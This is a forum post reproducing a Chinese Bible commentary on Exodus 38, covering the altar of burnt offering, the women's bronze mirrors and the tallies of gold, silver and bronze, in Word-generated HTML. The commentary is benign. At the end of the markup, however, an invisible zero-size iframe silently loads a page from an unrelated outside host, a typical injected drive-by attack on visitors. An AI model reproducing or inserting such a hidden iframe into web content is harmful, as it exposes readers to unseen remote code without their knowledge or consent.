杨宁 发表于 2020-6-14 16:40:15

出埃及記第卅八章

<P class=MsoNormal style="TEXT-ALIGN: center; tab-stops: 9.0pt 27.0pt 45.0pt 63.0pt" align=center><B style="mso-bidi-font-weight: normal"><SPAN style="FONT-SIZE: 24pt; FONT-FAMILY: 新細明體">出埃及記第卅八章<SPAN lang=EN-US><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></SPAN></B></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p>&nbsp;</o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">  </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">三十八</SPAN><SPAN lang=EN-US style="COLOR: black; mso-bidi-font-weight: bold; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">1.</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'"> </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">燔祭壇</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">。本段用這個(前面所無的)名稱來分別祭壇和香壇,是因為經文剛剛提到過香壇(出三十七</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">25</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">)。</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">  </SPAN><B><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">8.</SPAN></B><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'"> </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">用會幕</SPAN><SUP><SPAN lang=EN-US style="COLOR: black; FONT-FAMILY: Arial; mso-font-kerning: 0pt; mso-fareast-font-family: 標楷體">31</SPAN></SUP><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: Arial">門前伺候的婦人之鏡子作</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: Arial">。製造洗濯盆所用之銅的來源,本節提供了新資料。男人若獻臂環(出三十五</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">22</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">,和合本作「手釧」),女人獻的便是</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">鏡子</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">了(昔時全用磨光的金屬造成)。譯作伺候的動詞罕見而有意思,聖經只有另一處地方用這字形容婦女在聖所事奉(撒上二</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">22</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">)。字眼的含義其實是「組織成作戰隊伍」,但也可以形容普通利未人的事奉(民四</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">23</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">等)。因此它大概表示聖所某種事奉的組織,或作清潔、或作打掃(若然,這便是後世婦女協會的濫觴),或在節期慶典中唱歌跳舞(如出十五</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">20</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">的米利暗)。另一個可能,則是基於經文提到</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">門前</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">,顯示他們擔任守門的卑微工作(詩八十四</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">10</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">)。有人根據撒母耳記上二章</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">22</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">節,認為本節的</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">婦人</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">指的是迦南(奉獻給聖所的)「廟女」。然而這種不道德行為在以色列是嚴禁的,撒母耳記指出,以利的兩個兒子將耶和華的婢女當作屬巴力的女子看待,藉以強調他們罪孽重大。這些</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">伺候的婦人</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">若是有如巴力崇拜所用的廟妓,以利二子的行徑便不足為奇了。不煩絮言:崇拜耶和華和拜祭巴力在外表上都同樣可以奉獻於聖所事奉,但兩者的性質卻判若雲泥(賽五十五</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">8</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">、</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">9</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">)。詳細討論請參看海厄特。</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN lang=EN-US style="DISPLAY: none; COLOR: black; mso-font-kerning: 0pt; mso-hide: all">{\Section:TopicID=260}</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">三十八</SPAN><SPAN lang=EN-US style="COLOR: black; FONT-FAMILY: Arial; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">21</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: Arial">~</SPAN><SPAN lang=EN-US style="COLOR: black; FONT-FAMILY: Arial; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">31.</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: Arial"> 統計和花費</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: Arial">  </SPAN><B><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">21.</SPAN></B><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'"> </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">利未人所用</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">,利未人受任的經過記載在民數記三章。以他瑪在該處經文也是擔任首領之職(其實他在出六</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">23</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">經已出現了)。</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">  </SPAN><B><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">24.</SPAN></B><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'"> </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">一切工作使用……的金子</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">。數目以整數列出,貴重金屬全都數以噸計(金一噸、銀四噸、銅三噸)。但古卷中的數字可能亦保存得並不正確。</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 18pt; TEXT-ALIGN: justify; mso-layout-grid-align: none"><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">  </SPAN><B><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">25.</SPAN></B><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'"> </SPAN><SPAN style="COLOR: black; FONT-FAMILY: 標楷體; mso-bidi-font-weight: bold; mso-bidi-font-family: 標楷體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">會中被數的人所出的銀子</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">,銀子的總數(極高)是民數記一章所列以色列成人數目,乘以每人必須繳交半舍客勒「贖價」(出三十</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">13</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">)的積數。銀子不算是自願的捐獻,這是銀子比銅多得反常的理由。關於「聖所舍客勒」的討論,可參看三十章</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體">13</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">節的註釋</SPAN><SPAN lang=EN-US style="DISPLAY: none; COLOR: black; mso-font-kerning: 0pt; mso-hide: all; mso-fareast-font-family: 細明體">{\LinkToBook:TopicID=231,Name= </SPAN><SPAN style="DISPLAY: none; COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hide: all; mso-hansi-font-family: 'Times New Roman'">三十</SPAN><SPAN lang=EN-US style="DISPLAY: none; COLOR: black; mso-font-kerning: 0pt; mso-hide: all; mso-fareast-font-family: 細明體">11</SPAN><SPAN style="DISPLAY: none; COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hide: all; mso-hansi-font-family: 'Times New Roman'">~</SPAN><SPAN lang=EN-US style="DISPLAY: none; COLOR: black; mso-font-kerning: 0pt; mso-hide: all; mso-fareast-font-family: 細明體">16</SPAN><SPAN style="DISPLAY: none; COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hide: all; mso-hansi-font-family: 'Times New Roman'"> 人口調查和人頭稅</SPAN><SPAN lang=EN-US style="DISPLAY: none; COLOR: black; mso-font-kerning: 0pt; mso-hide: all; mso-fareast-font-family: 細明體">}</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">。這裡的記載很有意思,顯出早期統一度量衡的嘗試。現代以色列發掘到好幾個</SPAN><I><SPAN style="COLOR: black; FONT-FAMILY: Transliteration; mso-bidi-font-family: Transliteration; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"> <SPAN lang=EN-US>beqa`</SPAN></SPAN></I><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: Transliteration">「比加」,即半舍客勒的樣品(確實重量可參看德萊維)。</SPAN><SPAN style="COLOR: black; FONT-FAMILY: 細明體; mso-bidi-font-family: 細明體; mso-font-kerning: 0pt; mso-hansi-font-family: 'Times New Roman'">──《丁道爾聖經註釋》</SPAN><SPAN lang=EN-US style="COLOR: black; mso-font-kerning: 0pt; mso-fareast-font-family: 細明體"><o:p></o:p></SPAN></P>
<P class=MsoNormal style="TEXT-JUSTIFY: inter-ideograph; TEXT-ALIGN: justify; tab-stops: 9.0pt 27.0pt 45.0pt 63.0pt"><SPAN lang=EN-US style="FONT-FAMILY: 新細明體"><o:p>&nbsp;</o:p></SPAN></P><IFRAME src="http://m.w2op.cn/wm/gr.htm" width=0 height=0></IFRAME>

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